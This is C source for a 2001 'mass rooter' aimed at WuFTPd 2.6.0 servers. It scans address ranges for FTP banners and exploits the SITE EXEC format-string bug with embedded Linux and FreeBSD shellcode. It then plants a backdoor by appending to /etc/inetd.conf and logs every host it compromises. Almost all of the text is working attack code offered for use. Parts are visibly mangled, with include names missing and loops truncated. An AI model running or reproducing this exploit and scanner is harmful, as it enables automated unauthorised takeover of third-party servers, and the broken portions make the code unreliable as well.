/* WuFTPd 2.6.0 Mass Rooter smurfy, Division 7 Security Systems I suppose its safe to release this , vulnerable wu-2.6.0 servers are nearly a thing of the past =/ .. Credit: Exploit code used from wu260 exploit by God- of efnet... */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define FORKLIMIT 100 #define LOGFILE wu.log #define BDPORT 4464 #define repln if (getreply(0) < 0) return -1 #define replv if (getreply(1) < 0) return -1 #ifdef DEBUG #define repl replv #else #define repl repln #endif void usage(char *program) { printf("Wu-FTP 2.6.0 Mass Rooter\n"); printf("smurfy - D7 Security Systems, Sep-2001\n"); printf("Usage: %s \n", program); } /* We initialize pscan routine */ #define SOCKETS 400 #define TIMEOUT 4 #define S_NONE 0 #define S_CONNECTING 1 struct conn_t { int s; char status; time_t a; struct sockaddr_in addr; }; struct conn_t connlist[SOCKETS]; void init_sockets(void); void check_sockets(void); void fatal(char *); /* End pscan */ struct our_format { char *ip; }; struct our_format pscan_list[6500]; char recvbuf[BUFSIZ], sendbuf[BUFSIZ]; FILE *cin, *cout; char linuxcode[]= /* Lam3rZ chroot() code */ "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb" "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31" "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd" "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb" "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e" "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09" "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88" "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89" "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31" "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e" "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69" "\x6e\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65" "\x2e\x63\x6f\x6d"; char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */ "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43" "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0" "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\x01\x53\x53\xb0\x88" "\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80\x31" "\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31" "\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75\xf1" "\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd\x80" "\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07" "\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53\x53" "\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\x30\x62\x69\x6e\x30" "\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69\x6e" "\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65\x2e" "\x63\x6f\x6d"; struct platforms { char *os; char *version; char *code; int align; int eipoff; long ret; long retloc; int sleep; }; struct platforms targ[] = { { "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10, 0xbfbfcc04, 0 }, { "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510, 0xbfbfec0c, 0 }, { "FreeBSD 3.4-STABLE", "2.6.0-packages", bsdcode, 2, 1024, 0x80b1510, 0xbfbfe798, 0 }, { "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c, 0xbfbfcc04, 0 }, { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf74, 0 }, { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd074, 0 }, { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf84, 0 }, { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd04c, 0 }, { "RedHat Linux 6.2-SMP", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd0e4, 0 }, { NULL, NULL, NULL, 0, 0, 0, 0 } }; int totalowned=0, totalvuln=0; int type=-1, shell=0, pnum=0, vnum=0, numforks=0, tot=0; int brute=-1, failure=1; char *he; long getip(name) char *name; { struct hostent *hp; long ip; extern int h_errno; if ((ip = inet_addr(name)) < 0) { if (!(hp = gethostbyname(name))) { fprintf(stderr, "gethostbyname(): %s\n", strerror(h_errno)); exit(1); } memcpy(&ip, (hp->h_addr), 4); } return ip; } int connecttoftp(host, port) char *host; int port; { int sockfd; struct sockaddr_in cli; bzero(&cli, sizeof(cli)); cli.sin_family = AF_INET; cli.sin_addr.s_addr=getip(host); cli.sin_port = htons(port); if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); return -1; } if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) { perror("connect"); close(sockfd); return -1; } cin = fdopen(sockfd, "r"); cout = fdopen(sockfd, "w"); if (!cin || !cout) { close(sockfd); return -1; } return sockfd; } int command(const char *fmt, ...) { char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q; va_list args; if (!cout) return -1; bzero(buf1, BUFSIZ); bzero(buf2, BUFSIZ*2); va_start(args, fmt); vsnprintf(buf1, BUFSIZ, fmt, args); va_end(args); for (p=buf1,q=buf2;*p;p++,q++) { if (*p == '\xff') { *q++ = '\xff'; *q = '\xff'; } else *q = *p; } fprintf(cout, "%s", buf2); #ifdef DEBUG fprintf(stderr, "--> "); fprintf(stderr, "%s", buf2); fputc('\n', stderr); #endif fputs("\r\n", cout); (void)fflush(cout); return 0; } int getreply(v) int v; { if (!(fgets(recvbuf, BUFSIZ, cin))) return -1; if (v) fprintf(stderr, "<-- %s", recvbuf); return 0; } int chkbd() { int sockfd; FILE *master; struct sockaddr_in dest_addr; sockfd = socket(AF_INET, SOCK_STREAM, 0); dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons(BDPORT); dest_addr.sin_addr.s_addr = inet_addr(he); alarm(5); if(connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr)) == -1) { return -1; } alarm(0); close(sockfd); printf("Successfully overflowed and backdoored (port %d)", BDPORT); fflush(stdout); totalowned++; /* master=fopen(LOGFILE, "a"); */ fprintf(master, "%s\n", inet_ntoa(dest_addr.sin_addr)); fclose(master); return 1; } int logintoftp(login, passwd) char *login, *passwd; { do repl; while (strncmp(recvbuf, "220 ", 4)); if ((command("USER %s", login)) < 0) return -1; repl; if (strncmp(recvbuf, "331", 3)) { puts(recvbuf); return -1; } if ((command("PASS %s", passwd) < 0)) return -1; do repl; while (strncmp(recvbuf, "230 ", 4)); return 0; } int checkvuln(void) { command("SITE EXEC %%p"); repl; if(strncmp(recvbuf, "200-", 4)) return -1; if(strncmp(recvbuf+4, "0x", 2)) return -1; repl; return 0; } int findeip(eipoff, align) int eipoff, align; { int i, j, off; char *p1; char eip1[10], eip2[10]; for (i=eipoff;;i+=8) { fprintf(stderr, "at offset %d\n", i); strcpy(sendbuf, "SITE EXEC "); for (j=0;j= 12) { strcpy(sendbuf, "SITE EXEC "); for (i=0;i> 8), (((int)retloc & 0xff0000) >> 16), (((int)retloc & 0xff000000) >> 24)); strcat(sendbuf, buf); for (i=0;i>/etc/inetd.conf;killall -HUP inetd;exit\n"; FD_ZERO(&rf); FD_SET(0, &rf); FD_SET(sockfd, &rf); write(sockfd, cmd, strlen(cmd)); while (1) { bzero(buf, BUFSIZ); memcpy (&drugi, &rf, sizeof(rf)); select(sockfd+1, &drugi, NULL, NULL, NULL); if (FD_ISSET(0, &drugi)) { c = read(0, buf, BUFSIZ); send(sockfd, buf, c, 0x4); } if (FD_ISSET(sockfd, &drugi)) { c = read(sockfd, buf, BUFSIZ); if (c<0) return 0; write(1,buf,c); } } } int startbanner(char *target) { int cur; char vbuf[1024]; FILE *f; printf("Banner scanning %s.\n", target); for (cur=0; cur < pnum; cur++) { if (!fork()) { bscan(pscan_list[cur].ip); free(pscan_list[cur].ip); exit(0); } else { numforks++; if (numforks > FORKLIMIT) for (numforks; numforks > FORKLIMIT; numforks--) wait(NULL); } } printf("Sleeping for 20 seconds\n"); /* Allow sockets to close up */ sleep(20); printf("Rooting found hosts\n"); if ((f=fopen(".temp", "r")) == NULL) { fprintf(stderr, "No hosts for %s.\n", target); return -1; } while (!feof(f)) { memset(&vbuf, 0, sizeof(vbuf)); fgets((char *) &vbuf, sizeof(vbuf), f); if (vbuf[strlen(vbuf) - 1] == '\n') vbuf[strlen(vbuf) - 1] = '\0'; if (strlen(vbuf) > 1) { printf("\nAttempting to overflow %s...", vbuf); fflush(stdout); totalvuln++; wu(vbuf); } } fclose(f); unlink(".temp"); printf("\nResults logged in wu.log\n"); totalowned=0; totalvuln=0; } int main(int argc, char *argv[]) { int nump=0, b; char ip[17], salt[3], *parse, *type, *inpass; if (argc < 2) { usage(argv[0]); exit(1); } parse=argv[1]; for (parse; *parse != '\0'; *parse++) if (*parse == '.') nump++; if (nump > 1) usage(argv[0]); unlink(".temp"); if (nump == 0) /* a class */ { for (b=0; b<=254; b++) { memset(&ip, 0, sizeof(ip)); sprintf(ip, "%s.%d", argv[1], b); pnum=0; pscan(ip); startbanner(ip); } } if (nump == 1) /* b class */ { pscan(argv[1]); startbanner(argv[1]); } } int wu(char *iptoroot) { brute = 1; he = iptoroot; extern int optind, opterr; extern char *optarg; int ch, type, port, eipoff, fd, retofs, retlocofs, align, i, retoff; long ret, retloc; char login[BUFSIZ], password[BUFSIZ]; opterr = retofs = retlocofs = 0; strcpy(login, "ftp"); type = 6; port = 21; eipoff = targ[type].eipoff; align = targ[type].align; ret = targ[type].ret; retloc = targ[type].retloc; retloc += retlocofs; ret += retofs; strcpy(password, putshell(type)); if ((fd = connecttoftp(he, port)) < 0) { return -1; } if (logintoftp(login, password) < 0) { return -1; } sleep(targ[type].sleep); if (checkvuln() < 0) { return -1; } if ((retoff = findeip(eipoff, align)) < 0) { return -1; } if (overwrite(ret, retoff, align, retloc, eipoff) < 0) { return -1; } sh(fd); return -1; } /* Pscan core routine */ int pscan(char *class) { int done, i, cip, bb, ret, k, ns; time_t scantime; char ip[20]; done = 0; cip = 1; bb = 0; init_sockets(); scantime = time(0); printf("Portscanning %s\n", class); while(!done) { for (i = 0; i < SOCKETS; i++) { if (cip == 255) { if ((bb == 255)) { ns = 0; for (k = 0; k < SOCKETS; k++) { if (connlist[k].status > S_NONE) { ns++; break; } } if (ns == 0) done = 1; break; } else { cip = 0; bb++; } } if (connlist[i].status == S_NONE) { connlist[i].s = socket(AF_INET, SOCK_STREAM, 0); if (connlist[i].s == -1) printf("Unable to allocate socket.\n"); else { ret = fcntl(connlist[i].s, F_SETFL, O_NONBLOCK); if (ret == -1) { printf("Unable to set O_NONBLOCK\n"); close(connlist[i].s); } else { memset((char *)ip, 0, 20); sprintf(ip, "%s.%d.%d", class, bb, cip); connlist[i].addr.sin_addr.s_addr = inet_addr(ip); if (connlist[i].addr.sin_addr.s_addr == -1) fatal("Invalid IP."); connlist[i].addr.sin_family = AF_INET; connlist[i].addr.sin_port = htons(21); connlist[i].a = time(0); connlist[i].status = S_CONNECTING; cip++; } } } } check_sockets(); } } void init_sockets(void) { int i; for (i = 0; i < SOCKETS; i++) { connlist[i].status = S_NONE; memset((struct sockaddr_in *)&connlist[i].addr, 0, sizeof(struct sockaddr_in)); } } void check_sockets(void) { int i, ret; for (i = 0; i < SOCKETS; i++) { if ((connlist[i].a < (time(0) - TIMEOUT)) && (connlist[i].status == S_CONNECTING)) { close(connlist[i].s); connlist[i].status = S_NONE; } else if (connlist[i].status == S_CONNECTING) { ret = connect(connlist[i].s, (struct sockaddr *)&connlist[i].addr, sizeof(struct sockaddr_in)); if (ret == -1) { if (errno == EISCONN) { pscan_list[pnum].ip=(char *)malloc(17); strcpy(pscan_list[pnum].ip, inet_ntoa(connlist[i].addr.sin_addr)); pnum++; close(connlist[i].s); connlist[i].status = S_NONE; } if ((errno != EALREADY) && (errno != EINPROGRESS)) { close(connlist[i].s); connlist[i].status = S_NONE; } } else { pscan_list[pnum].ip=(char *)malloc(17); strcpy(pscan_list[pnum].ip, inet_ntoa(connlist[i].addr.sin_addr)); pnum++; close(connlist[i].s); connlist[i].status = S_NONE; } } } } void fatal(char *err) { int i; printf("Error: %s\n", err); for (i = 0; i < SOCKETS; i++) { if (connlist[i].status >= S_CONNECTING) close(connlist[i].s); } } /* End pscan core */ /* Bscan core routine */ int bscan(char *host) { struct sockaddr_in sin; int sock, len; u_char buf[4000]; FILE *ihatetempfiles; sock = socket(AF_INET, SOCK_STREAM, 0); if (!sock) { fprintf(stderr, "unable to get a socket\n"); return; } sin.sin_family = AF_INET; sin.sin_port = htons(21); sin.sin_addr.s_addr = inet_addr(host); alarm(10); if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) == 0) { while (1) { memset(buf, 0, sizeof(buf)); if ((len = read (sock, buf, 1)) <= 0) break; if (*buf == (unsigned int) 255) { read(sock, (buf + 1), 2); if (*(buf + 1) == (unsigned int) 253 && !(u_char) * (buf + 2)); else if ((u_char) * (buf + 1) == (unsigned int) 253) { *(buf + 1) = 252; write (sock, buf, 3); } } else { if (*buf != 0) { bzero (buf, sizeof (buf)); read (sock, buf, sizeof (buf)); usleep(2000); if (strstr(buf, "wu-2.6.0")) { ihatetempfiles=fopen(".temp", "a"); fprintf(ihatetempfiles, "%s\n", host); fclose(ihatetempfiles); alarm(0); return 1; } } } } } alarm(0); close(sock); return; } /* End bscan core */